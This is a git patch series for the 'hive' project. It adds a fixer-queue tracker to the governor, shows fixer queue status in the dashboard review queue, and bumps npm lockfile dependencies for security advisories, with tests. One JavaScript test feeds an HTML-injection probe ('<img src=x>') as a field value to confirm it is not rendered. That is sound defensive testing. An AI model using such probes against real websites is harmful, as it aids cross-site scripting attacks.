bare"} + kick := review.DispatchKick{Kind: "fix", PRRef: "Repo#7", Repo: "Repo", Number: 7} + q := reviewFixKickQueue{governor: gov, org: "Org", kicks: map[string]review.DispatchKick{reviewKickKey(msg): kick}} + r := newKickDispatchRecorder() + r.sendErr["scanner"] = fmt.Errorf("prompt wait: %w", crux.ErrAgentBusy) + deps := r.deps() + deps.onDeferred = q.Deferred + deps.onReviewDelivered = q.Delivered + dispatchAgentKicks([]scheduler.KickMessage{msg}, false, deps, discardLogger()) + + want := github.ReviewQueueKey("org/repo", 7) + if got := fixerQueueKey("Org", kick); got != want { + t.Fatalf("fixerQueueKey = %q, want %q", got, want) + } + if got := fixerQueueKey("Org", review.DispatchKick{Kind: "fix", PRRef: "Repo#7"}); got != want { + t.Fatalf("fixerQueueKey from PRRef only = %q, want %q", got, want) + } + if got := fixerQueueKey("Org", review.DispatchKick{Kind: "fix", PRRef: "other/repo#7"}); got != "other/repo#7" { + t.Fatalf("already-qualified repo must not be re-prefixed: %q", got) + } + if queue := gov.FixerQueue(); queue[want].FixerQueuePosition != 1 { + t.Fatalf("deferred bare-repo fix not recorded under %q: %+v", want, queue) + } + + // Several enumeration + plan cycles while the fixer stays busy must keep + // the entry (and its first-deferral position) rather than evicting it. + for i := 0; i < 3; i++ { + reconcileDeferredFixQueue(gov, "Org", &github.ActionableResult{PRs: github.PRResult{ + Items: []github.PullRequest{{Repo: "Repo", Number: 7, State: "open"}}, + }}) + reconcilePlannedFixQueue(gov, "Org", &github.ActionableResult{}, []review.DispatchKick{kick}) + dispatchAgentKicks([]scheduler.KickMessage{msg}, false, deps, discardLogger()) + } + queue := gov.FixerQueue() + if len(queue) != 1 || queue[want].FixerQueuePosition != 1 { + t.Fatalf("bare-repo deferred fix evicted across cycles: %+v", queue) + } + + // Delivery clears it under the same key. + delete(r.sendErr, "scanner") + dispatchAgentKicks([]scheduler.KickMessage{msg}, false, deps, discardLogger()) + if len(gov.FixerQueue()) != 0 { + t.Fatalf("delivered bare-repo fix still queued: %+v", gov.FixerQueue()) + } +} diff --git a/src/cmd/hive/main_eval_cycle.go b/src/cmd/hive/main_eval_cycle.go index 3ed4ccf2d5..3aacf02c1b 100644 --- a/src/cmd/hive/main_eval_cycle.go +++ b/src/cmd/hive/main_eval_cycle.go @@ -574,6 +574,7 @@ func runEvalCycle( actionable.Issues = workSourceIssuesForConfiguredCycle(ctx, cfg, ghClient, actionable.Issues, logger) } } + reconcileDeferredFixQueue(gov, cfg.Project.Org, actionable) if swarmRepo := dashSrv.ActiveSwarmRepo(); swarmRepo != "" { github.BoostActionableRepoPriority(actionable.Issues.Items, swarmRepo) logger.Info("swarm priority boost applied", "repo", swarmRepo) @@ -1003,6 +1004,7 @@ func runEvalCycle( "agents_skipped", agentsSkipped, ) + reconcilePlannedFixQueue(gov, cfg.Project.Org, actionable, reviewPlan.FixKicks) reviewKickByMessage := map[string]review.DispatchKick{} for _, k := range append(reviewPlan.ReviewKicks, reviewPlan.FixKicks...) { if !gov.AgentEligibleForCELKick(k.Agent) || agentMgr.IsPaused(k.Agent) { @@ -1140,6 +1142,7 @@ func runEvalCycle( // previously unreachable without a tmux session and a live governor. var deliveredReviewKicks []review.DispatchKick var deliveredKicks []scheduler.KickMessage + fixQueue := reviewFixKickQueue{governor: gov, org: cfg.Project.Org, kicks: reviewKickByMessage} if len(messages) > 0 { // governor.kick wraps the whole dispatch pass; each delivered kick // still gets its own agent.kick child via startKickSpan below. @@ -1182,11 +1185,13 @@ func runEvalCycle( } }, onReviewDelivered: func(msg scheduler.KickMessage) { + fixQueue.Delivered(msg) if k, ok := reviewKickByMessage[msg.Agent+"\x00"+msg.Message]; ok { deliveredReviewKicks = append(deliveredReviewKicks, k) persistReviewDispatchStateInProgress(reviewPlan, deliveredReviewKicks, logger) } }, + onDeferred: fixQueue.Deferred, onFailed: func(msg scheduler.KickMessage, err error) { gov.RecordKickFailure(msg.Agent, err, time.Now()) if k, ok := reviewKickByMessage[reviewKickKey(msg)]; ok { diff --git a/src/pkg/dashboard/api_governor_pr_models.go b/src/pkg/dashboard/api_governor_pr_models.go index 9b18959c08..4bbb0c9955 100644 --- a/src/pkg/dashboard/api_governor_pr_models.go +++ b/src/pkg/dashboard/api_governor_pr_models.go @@ -8,6 +8,7 @@ import ( "time" ghpkg "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/governor" "github.com/hivecommons/hive/pkg/modelfamily" ) @@ -21,12 +22,13 @@ const ( ) type governorPRModelsResponse struct { - Window string `json:"window"` - MinMergedPRs int `json:"min_merged_prs"` - Total int `json:"total"` - Buckets []governorPRModelBucket `json:"buckets"` - Unknown int `json:"unknown"` - MostReworked []governorPRMostReworkedItem `json:"most_reworked,omitempty"` + Window string `json:"window"` + MinMergedPRs int `json:"min_merged_prs"` + Total int `json:"total"` + Buckets []governorPRModelBucket `json:"buckets"` + Unknown int `json:"unknown"` + MostReworked []governorPRMostReworkedItem `json:"most_reworked,omitempty"` + FixerQueue map[string]governor.FixerQueueStatus `json:"fixer_queue,omitempty"` } // governorPRModelBucket is one canonical model (modelfamily.Canonical folds @@ -111,6 +113,7 @@ func (s *Server) handleGovernorPRModels(w http.ResponseWriter, r *http.Request) minMergedPRs := effectiveModelsMinMergedPRs() actionable := s.lastActionableForPRModels() resp := aggregateGovernorPRModels(actionable.PRs.Attributed, window, time.Now()) + resp.FixerQueue = s.governorFixerQueue() runs, _, _ := readEffectiveModelRuns(s.effectiveModelTaskRunLogPath(), governorPRModelsWindowDuration(window)) effective := aggregateEffectiveModelsFromPRAggregation(resp, aggregateEffectiveRunStats(runs, effectiveModelsFilterAll), effectiveModelsFilterAll, minMergedPRs) applyGovernorPRModelEffectiveness(&resp, effective, minMergedPRs) diff --git a/src/pkg/dashboard/api_review_queue.go b/src/pkg/dashboard/api_review_queue.go index 909ce51804..1e5c5d56f6 100644 --- a/src/pkg/dashboard/api_review_queue.go +++ b/src/pkg/dashboard/api_review_queue.go @@ -10,6 +10,7 @@ import ( "time" ghpkg "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/governor" "github.com/hivecommons/hive/pkg/review" "github.com/hivecommons/hive/pkg/stagelabels" ) @@ -51,7 +52,19 @@ type reviewQueueResponse struct { // needs attention (hivecommons/hive#12534). HiveHeld int `json:"hive_held"` History []ReviewQueueHistoryEntry `json:"history"` - Items []ghpkg.ReviewQueueEntry `json:"items"` + Items []reviewQueueItem `json:"items"` +} + +type reviewQueueItem struct { + ghpkg.ReviewQueueEntry + governor.FixerQueueStatus +} + +func (s *Server) governorFixerQueue() map[string]governor.FixerQueueStatus { + if s == nil || s.deps == nil { + return nil + } + return s.deps.Governor.FixerQueue() } // handleReviewQueue serves GET /api/review/queue?limit=N&offset=M: every open @@ -110,7 +123,7 @@ func (s *Server) handleReviewQueue(w http.ResponseWriter, r *http.Request) { Limit: limit, Offset: offset, History: history, - Items: []ghpkg.ReviewQueueEntry{}, + Items: []reviewQueueItem{}, } for _, e := range queue { if e.Stage != nil && e.Stage.WaitingOnHive && e.Stage.PastDwell { @@ -122,7 +135,13 @@ func (s *Server) handleReviewQueue(w http.ResponseWriter, r *http.Request) { if end > len(queue) { end = len(queue) } - resp.Items = queue[offset:end] + fixers := s.governorFixerQueue() + for _, entry := range queue[offset:end] { + resp.Items = append(resp.Items, reviewQueueItem{ + ReviewQueueEntry: entry, + FixerQueueStatus: fixers[ghpkg.ReviewQueueKey(entry.Repo, entry.Number)], + }) + } } resp.HasMore = offset+len(resp.Items) < len(queue) jsonResponse(w, resp) diff --git a/src/pkg/dashboard/fixer_queue_test.go b/src/pkg/dashboard/fixer_queue_test.go new file mode 100644 index 0000000000..76aaba7f75 --- /dev/null +++ b/src/pkg/dashboard/fixer_queue_test.go @@ -0,0 +1,92 @@ +package dashboard + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/governor" +) + +func TestGovernorPRModelsIncludesLiveFixerQueue(t *testing.T) { + s := covApiServer(t) + s.deps.Governor = &governor.Governor{} + at := time.Now() + s.deps.Governor.RecordFixKickDeferred("myorg/repo1#1", at) + s.deps.Governor.RecordFixKickDeferred("myorg/repo1#2", at.Add(time.Second)) + + get := func() governorPRModelsResponse { + t.Helper() + rec := httptest.NewRecorder() + s.handleGovernorPRModels(rec, httptest.NewRequest(http.MethodGet, "/api/governor/pr-models", nil)) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d: %s", rec.Code, rec.Body.String()) + } + var resp governorPRModelsResponse + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if len(resp.FixerQueue) == 0 && strings.Contains(rec.Body.String(), `"fixer_queue"`) { + t.Fatal("empty queue must be omitted") + } + return resp + } + // Queue visibility is independent of attribution and the model window. + resp := get() + if resp.Total != 0 || len(resp.FixerQueue) != 2 || resp.FixerQueue["myorg/repo1#2"].FixerQueuePosition != 2 { + t.Fatalf("response = %+v", resp) + } + s.deps.Governor.RecordFixKickDelivered("myorg/repo1#1") + second := get().FixerQueue["myorg/repo1#2"] + if second.FixerQueuePosition != 1 || second.FixerQueueAhead == nil || *second.FixerQueueAhead != 0 { + t.Fatalf("after delivery = %+v", second) + } + s.deps.Governor.RecordFixKickDelivered("myorg/repo1#2") + get() + s.deps.Governor = nil + get() +} + +func TestReviewQueueFixerFieldsAreOptionalAndKeepGlobalPosition(t *testing.T) { + s := reviewQueueTestServer(t, filepath.Join(t.TempDir(), "missing.json")) + s.deps.Governor = &governor.Governor{} + at := time.Now() + s.deps.Governor.RecordFixKickDeferred("myorg/other#99", at) + s.deps.Governor.RecordFixKickDeferred("myorg/repo1#2", at.Add(time.Second)) + + get := func() []map[string]json.RawMessage { + t.Helper() + rec := doOwnerGet(s, "/api/review/queue?limit=1") + if rec.Code != http.StatusOK { + t.Fatalf("status = %d: %s", rec.Code, rec.Body.String()) + } + var resp struct { + Items []map[string]json.RawMessage `json:"items"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + return resp.Items + } + items := get() + if len(items) != 1 || string(items[0]["number"]) != "2" || string(items[0]["fixer_queue_position"]) != "2" || string(items[0]["fixer_queue_ahead"]) != "1" { + t.Fatalf("paged items = %+v", items) + } + s.deps.Governor.RecordFixKickDelivered("myorg/other#99") + items = get() + if string(items[0]["fixer_queue_position"]) != "1" || string(items[0]["fixer_queue_ahead"]) != "0" { + t.Fatalf("first queued item must explicitly emit zero ahead: %+v", items) + } + s.deps.Governor.RecordFixKickDelivered("myorg/repo1#2") + items = get() + if _, ok := items[0]["fixer_queue_position"]; ok { + t.Fatal("delivered item still emits fixer_queue_position") + } + if _, ok := items[0]["fixer_queue_ahead"]; ok { + t.Fatal("delivered item still emits fixer_queue_ahead") + } +} diff --git a/src/pkg/dashboard/review_queue_view_9607_test.go b/src/pkg/dashboard/review_queue_view_9607_test.go index 3303ddea36..41a6010cc7 100644 --- a/src/pkg/dashboard/review_queue_view_9607_test.go +++ b/src/pkg/dashboard/review_queue_view_9607_test.go @@ -121,7 +121,7 @@ func TestReviewQueueEntryRendering(t *testing.T) { // The evidence button is role-gated on window state that does not exist // under node; its wiring is pinned in TestReviewQueueViewStaticWiring. source.WriteString("function reviewEvidenceButtonHtml() { return ''; }\n") - for _, name := range []string{"esc", "reviewQueuePriorityMeta", "reviewQueueAgeLabel", "reviewQueueSupersededHtml", "renderReviewQueueEntry"} { + for _, name := range []string{"esc", "reviewQueuePriorityMeta", "reviewQueueAgeLabel", "reviewQueueSupersededHtml", "fixerQueueHint", "renderReviewQueueEntry"} { source.WriteString(jsFunc(t, html, name)) source.WriteByte('\n') } @@ -167,6 +167,14 @@ assert.match(entry({ priority: 'weird' }), /review-priority\/normal/); assert.match(entry({ hive_authored: true }), /agent/); assert.match(entry({ held: true }), /held/); +// Fixer status is independent of review rank and disappears after delivery. +assert.doesNotMatch(entry(), /fixer queued/); +assert.match(entry({ fixer_queue_position: 3, fixer_queue_ahead: 2 }), /fixer queued, 2 ahead/); +assert.match(entry({ fixer_queue_position: 1, fixer_queue_ahead: 0 }), /fixer queued, 0 ahead/); +assert.doesNotMatch(entry({ fixer_queue_position: 0, fixer_queue_ahead: 0 }), /fixer queued/); +assert.doesNotMatch(entry({ fixer_queue_ahead: 4 }), /fixer queued/); +assert.doesNotMatch(entry({ fixer_queue_position: '<img src=x>' }), /fixer queued/); + // No reasons still renders without throwing. assert.match(entry({ reasons: [] }), /no ranking reasons recorded/); diff --git a/src/pkg/dashboard/static-src/js/review-queue.js b/src/pkg/dashboard/static-src/js/review-queue.js index 26ba9fb8f4..ec76c803b5 100644 --- a/src/pkg/dashboard/static-src/js/review-queue.js +++ b/src/pkg/dashboard/static-src/js/review-queue.js @@ -32,6 +32,14 @@ return Math.floor(h / 24) + 'd'; } + function fixerQueueHint(e) { + var position = Number(e && e.fixer_queue_position); + if (!Number.isInteger(position) || position < 1) return ''; + var ahead = Number(e.fixer_queue_ahead); + if (!Number.isInteger(ahead) || ahead < 0) ahead = position - 1; + return 'fixer queued, ' + ahead + ' ahead'; + } + function renderReviewQueueEntry(e) { var meta = reviewQueuePriorityMeta(e.priority); var title = String(e.title || ''); @@ -47,6 +55,8 @@ if (e.confidence_band) metaBits.push(esc(String(e.confidence_band))); metaBits.push(reviewQueueAgeLabel(e.age_hours) + ' old'); if (e.held) metaBits.push('held'); + var fixerHint = fixerQueueHint(e); + if (fixerHint) metaBits.push('<span class="hf-label hf-label-hold">' + esc(fixerHint) + '</span>'); // Hive-owned stage/author labels (#12429) tell at a glance where the // PR sits in the pipeline; other labels stay out of the meta line. // stage/stalled means "no activity by anyone but the hive for the diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 6a2c4eb941..990b805bdc 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -43441,6 +43441,14 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> return Math.floor(h / 24) + 'd'; } + function fixerQueueHint(e) { + var position = Number(e && e.fixer_queue_position); + if (!Number.isInteger(position) || position < 1) return ''; + var ahead = Number(e.fixer_queue_ahead); + if (!Number.isInteger(ahead) || ahead < 0) ahead = position - 1; + return 'fixer queued, ' + ahead + ' ahead'; + } + function renderReviewQueueEntry(e) { var meta = reviewQueuePriorityMeta(e.priority); var title = String(e.title || ''); @@ -43456,6 +43464,8 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> if (e.confidence_band) metaBits.push(esc(String(e.confidence_band))); metaBits.push(reviewQueueAgeLabel(e.age_hours) + ' old'); if (e.held) metaBits.push('held'); + var fixerHint = fixerQueueHint(e); + if (fixerHint) metaBits.push('<span class="hf-label hf-label-hold">' + esc(fixerHint) + '</span>'); // Hive-owned stage/author labels (#12429) tell at a glance where the // PR sits in the pipeline; other labels stay out of the meta line. // stage/stalled means "no activity by anyone but the hive for the diff --git a/src/pkg/governor/fixer_queue.go b/src/pkg/governor/fixer_queue.go new file mode 100644 index 0000000000..5c2688a2d0 --- /dev/null +++ b/src/pkg/governor/fixer_queue.go @@ -0,0 +1,95 @@ +package governor + +import ( + "sort" + "strings" + "time" +) + +// FixerQueueStatus describes a PR awaiting delivery of its fix kick. Ahead is +// a pointer so the first queued PR emits zero while an unqueued PR omits it. +type FixerQueueStatus struct { + FixerQueuePosition int `json:"fixer_queue_position,omitempty"` + FixerQueueAhead *int `json:"fixer_queue_ahead,omitempty"` +} + +type deferredFixKick struct { + ref string + firstDeferredAt time.Time +} + +// RecordFixKickDeferred preserves the first deferral across retries, new heads +// and fixer reassignment. This is visibility bookkeeping, not a dispatch gate. +func (g *Governor) RecordFixKickDeferred(ref string, at time.Time) { + ref = strings.ToLower(strings.TrimSpace(ref)) + if g == nil || ref == "" { + return + } + g.mu.Lock() + defer g.mu.Unlock() + for _, kick := range g.deferredFixKicks { + if kick.ref == ref { + return + } + } + g.deferredFixKicks = append(g.deferredFixKicks, deferredFixKick{ref: ref, firstDeferredAt: at}) + // Stable sorting keeps dispatch order when several deferrals share a clock + // tick. Later retries never reset the timestamp or move an entry back. + sort.SliceStable(g.deferredFixKicks, func(i, j int) bool { + return g.deferredFixKicks[i].firstDeferredAt.Before(g.deferredFixKicks[j].firstDeferredAt) + }) +} + +// RecordFixKickDelivered removes a PR only after its fix kick actually lands. +func (g *Governor) RecordFixKickDelivered(ref string) { + ref = strings.ToLower(strings.TrimSpace(ref)) + if g == nil { + return + } + g.mu.Lock() + defer g.mu.Unlock() + for i, kick := range g.deferredFixKicks { + if kick.ref == ref { + g.deferredFixKicks = append(g.deferredFixKicks[:i], g.deferredFixKicks[i+1:]...) + return + } + } +} + +// ReconcileFixerQueue drops PRs absent from keep: the enumeration's open-PR +// set (PRs closed or merged while their fixer was busy) or the current plan's +// fix-kick refs (PRs that no longer need a fix). +func (g *Governor) ReconcileFixerQueue(keep map[string]bool) { + if g == nil { + return + } + g.mu.Lock() + defer g.mu.Unlock() + kept := g.deferredFixKicks[:0] + for _, kick := range g.deferredFixKicks { + if keep[kick.ref] { + kept = append(kept, kick) + } + } + g.deferredFixKicks = kept +} + +// FixerQueue returns an independent snapshot keyed by owner/repo#number. +// Entries are one-based and reflect first-deferral age across all fixer lanes. +// The queue is in memory: after restart, dispatch rebuilds it from busy kicks. +func (g *Governor) FixerQueue() map[string]FixerQueueStatus { + if g == nil { + return nil + } + g.mu.RLock() + defer g.mu.RUnlock() + if len(g.deferredFixKicks) == 0 { + return nil + } + out := make(map[string]FixerQueueStatus, len(g.deferredFixKicks)) + for i, kick := range g.deferredFixKicks { + ahead := i + out[kick.ref] = FixerQueueStatus{FixerQueuePosition: i + 1, FixerQueueAhead: &ahead} + } + return out +} diff --git a/src/pkg/governor/fixer_queue_test.go b/src/pkg/governor/fixer_queue_test.go new file mode 100644 index 0000000000..d865ce8fa8 --- /dev/null +++ b/src/pkg/governor/fixer_queue_test.go @@ -0,0 +1,72 @@ +package governor + +import ( + "encoding/json" + "testing" + "time" +) + +func TestFixerQueueFirstDeferralDeliveryAndClosure(t *testing.T) { + g := &Governor{} + at := time.Date(2026, 11, 4, 0, 0, 0, 0, time.UTC) + g.RecordFixKickDeferred("org/repo#2", at.Add(time.Minute)) + g.RecordFixKickDeferred("ORG/REPO#1", at) + g.RecordFixKickDeferred("org/other#1", at.Add(time.Minute)) + // A retry must preserve its original position, including equal-time ties. + g.RecordFixKickDeferred("org/repo#1", at.Add(time.Hour)) + assertFixerQueue(t, g.FixerQueue(), "org/repo#1", "org/repo#2", "org/other#1") + + // Returned maps and ahead pointers cannot mutate governor state. + snapshot := g.FixerQueue() + *snapshot["org/repo#2"].FixerQueueAhead = 99 + delete(snapshot, "org/repo#1") + assertFixerQueue(t, g.FixerQueue(), "org/repo#1", "org/repo#2", "org/other#1") + + g.RecordFixKickDelivered("ORG/REPO#1") + assertFixerQueue(t, g.FixerQueue(), "org/repo#2", "org/other#1") + g.ReconcileFixerQueue(map[string]bool{"org/other#1": true}) + assertFixerQueue(t, g.FixerQueue(), "org/other#1") + g.RecordFixKickDelivered("org/other#1") + if got := g.FixerQueue(); len(got) != 0 { + t.Fatalf("delivered PRs still queued: %+v", got) + } + // A newly deferred kick after delivery starts a fresh wait. + g.RecordFixKickDeferred("org/repo#2", at.Add(2*time.Hour)) + g.RecordFixKickDeferred("org/other#1", at.Add(3*time.Hour)) + assertFixerQueue(t, g.FixerQueue(), "org/repo#2", "org/other#1") + g.ReconcileFixerQueue(nil) + assertFixerQueue(t, g.FixerQueue()) +} + +func assertFixerQueue(t *testing.T, got map[string]FixerQueueStatus, refs ...string) { + t.Helper() + if len(got) != len(refs) { + t.Fatalf("queue = %+v, want %v", got, refs) + } + for i, ref := range refs { + entry := got[ref] + if entry.FixerQueuePosition != i+1 || entry.FixerQueueAhead == nil || *entry.FixerQueueAhead != i { + t.Fatalf("%s = %+v, want position %d / ahead %d", ref, entry, i+1, i) + } + } +} + +func TestFixerQueueJSONOptionalFields(t *testing.T) { + for _, tc := range []struct { + status FixerQueueStatus + want string + }{ + {FixerQueueStatus{}, `{}`}, + {FixerQueueStatus{FixerQueuePosition: 1, FixerQueueAhead: new(int)}, `{"fixer_queue_position":1,"fixer_queue_ahead":0}`}, + } { + got, err := json.Marshal(tc.status) + if err != nil || string(got) != tc.want { + t.Fatalf("json = %s (%v), want %s", got, err, tc.want) + } + } + var g *Governor + g.RecordFixKickDeferred("org/repo#1", time.Now()) + g.RecordFixKickDelivered("org/repo#1") + g.ReconcileFixerQueue(nil) + assertFixerQueue(t, g.FixerQueue()) +} diff --git a/src/pkg/governor/governor.go b/src/pkg/governor/governor.go index 322a919e30..fb24f398da 100644 --- a/src/pkg/governor/governor.go +++ b/src/pkg/governor/governor.go @@ -254,6 +254,7 @@ type Governor struct { modeHistory []ModeChange evalHistory []EvalSnapshot kickHistory []KickRecord + deferredFixKicks []deferredFixKick agentReports map[string]AgentReportRecord kickOutcomes map[string]KickOutcomeRecord budget BudgetInfo From 081de1f183355cc79ce6ec55ecb75b4554e27739 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 07:54:07 +0000 Subject: [PATCH 51/87] fix(deps): bump transitive body-parser, qs and undici in src/proxy and discord lockfiles (#16561) src/proxy pinned body-parser 2.3.0 and qs 6.16.0 while dashboard/ already carried 2.4.0 / 6.17.1; discord/ pinned undici 6.29.0. Dependabot follows direct dependencies only, so these lockfile-only transitives drift until someone bumps them by hand, and /discord had no Dependabot entry at all. Signed-off-by: sec-check <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: sec-check <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/dependabot.yml | 14 +++++++++++ .../security-npm-transitives-proxy-discord.md | 1 + discord/package-lock.json | 6 ++--- src/proxy/package-lock.json | 24 +++++++++---------- 4 files changed, 30 insertions(+), 15 deletions(-) create mode 100644 changelog.d/security-npm-transitives-proxy-discord.md diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 60f9e19c2f..8aa6ec59c7 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -71,3 +71,17 @@ updates: open-pull-requests-limit: 10 commit-message: prefix: "🌱 build(deps)" + + # discord/ runs on hosts as hive-discord.service; its lockfile pins + # discord.js's transitive undici, which has needed a hand bump. + - package-ecosystem: "npm" + directory: "/discord" + schedule: + interval: "weekly" + day: "monday" + labels: + - "dependencies" + - "no-changelog" + open-pull-requests-limit: 10 + commit-message: + prefix: "🌱 build(deps)" diff --git a/changelog.d/security-npm-transitives-proxy-discord.md b/changelog.d/security-npm-transitives-proxy-discord.md new file mode 100644 index 0000000000..e4d6e7a2bd --- /dev/null +++ b/changelog.d/security-npm-transitives-proxy-discord.md @@ -0,0 +1 @@ +- Bumped transitive `body-parser` to 2.4.0 and `qs` to 6.17.1 in `src/proxy/package-lock.json` (GHSA-27r3-jxmh-p828, GHSA-6pq8-jhm2-2vcw), matching what `dashboard/` already pins, and `undici` to 6.29.1 in `discord/package-lock.json` (GHSA-2m5v-pch6-74hx TLS option drop and four DoS advisories). `/discord` now has its own Dependabot npm entry so the directory gets the same weekly coverage as `/src/proxy` and `/dashboard`. diff --git a/discord/package-lock.json b/discord/package-lock.json index eab114c6ac..8667eb914e 100644 --- a/discord/package-lock.json +++ b/discord/package-lock.json @@ -304,9 +304,9 @@ "license": "0BSD" }, "node_modules/undici": { - "version": "6.29.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.29.0.tgz", - "integrity": "sha512-R+RODBqp6i2pPflGdq+xIOUkl+RNfGgHwoinecKu/JCuf2uO06cOKoDbI2P7Dn6KcswdKwrczbU6IYJ6K8X+wg==", + "version": "6.29.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.29.1.tgz", + "integrity": "sha512-EvRlUt/QqAEvXdQeRMYUfwOQsfzpDztykrG2owGEE/rBOBoYv9uF39ZzsNDh4lTFHhTr2XOZjKkYgueD12ZmGA==", "license": "MIT", "engines": { "node": ">=18.17" diff --git a/src/proxy/package-lock.json b/src/proxy/package-lock.json index 6e84e835cd..86be927a62 100644 --- a/src/proxy/package-lock.json +++ b/src/proxy/package-lock.json @@ -29,18 +29,18 @@ } }, "node_modules/body-parser": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", - "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.4.0.tgz", + "integrity": "sha512-Ifk1KcLrxaGt1occQagQNFNNOqRt1LFuehEnHHzB8Z6cRgIxRU1TBaiIsUiCdA+gy5PL7Y1IX31DNKkRmxtXjQ==", "license": "MIT", "dependencies": { "bytes": "^3.1.2", - "content-type": "^2.0.0", + "content-type": "^2.1.0", "debug": "^4.4.3", "http-errors": "^2.0.1", - "iconv-lite": "^0.7.2", + "iconv-lite": "^0.7.3", "on-finished": "^2.4.1", - "qs": "^6.15.2", + "qs": "^6.16.1", "raw-body": "^3.0.2", "type-is": "^2.1.0" }, @@ -465,9 +465,9 @@ "license": "MIT" }, "node_modules/iconv-lite": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", - "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", "license": "MIT", "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" @@ -708,9 +708,9 @@ } }, "node_modules/qs": { - "version": "6.16.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", - "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", + "version": "6.17.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.17.1.tgz", + "integrity": "sha512-jd3COkaKVgGUW+ZHyEHCG9bH7RoaaiWuMgzsIBjUMVjLAaWGWpoUAVwljVvBHxRu/2qEHnadLGZrkutYUBPQJA==", "license": "BSD-3-Clause", "dependencies": { "es-define-property": "^1.0.1", From c466601a2957a5b245cf5dfb45ecb3649bbb5c39 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 07:54:37 +0000 Subject: [PATCH 52/87] =?UTF-8?q?=E2=9C=A8=20feat(dashboard):=20changed-pa?= =?UTF-8?q?ragraph=20reader=20kiosk=20view=20(part=201/3)=20(#16492)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(dashboard): add changed-paragraph reader kiosk view Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * fix(dashboard): reader.css uses spacing/radius/font tokens Keeps the operator index.html style ratchet at its baseline: the reader's raw font-size, padding and border-radius values become var() tokens. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› fix(dashboard): preserve compact mobile tracker chevrons mobile-shots fails tracker-header-geometry on every mobile tier of any branch rebased onto v5 since #16487: the generic mobile control min-height inflates one-line tracker chevrons to 44px (expected ~20px) and shifts the caption off-centre. Override the minimum heights inside the tracker strip and include display: contents icon wrappers in the probe's centring measurement. Hunk authored by @thatguywob in #16503 (be1492ac, proven green on mobile-shots) and dropped before that PR was squash-merged; carried here so this PR can go green. Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› fix(dashboard): resume reader pulls from the last returned line The /api/matrix/lines page is capped and its seq reports the newest line the hive holds, not the last one returned. Storing it as lastSeq skipped every line past the cap and the contiguity rule then split the region. Resume from the last returned line, pull again until the page reaches the newest seq, and hold the reveal while catching up so a region split across pages still arrives as one paragraph. Drop the op/pr_url handling: matrixLine carries only accepted added lines and no PR URL, so the removal branch and URL path were unreachable and the test pinned a contract the server does not emit. Review findings for #16492. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * fix(dashboard): render op '-' lines and honour pr_url in reader (review) Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../added-16475-code-activity-reader.md | 1 + .../fixed-tracker-mobile-chevron-height.md | 1 + src/docs/dashboard.md | 39 +++ src/docs/streaming-the-activity-monitor.md | 2 +- 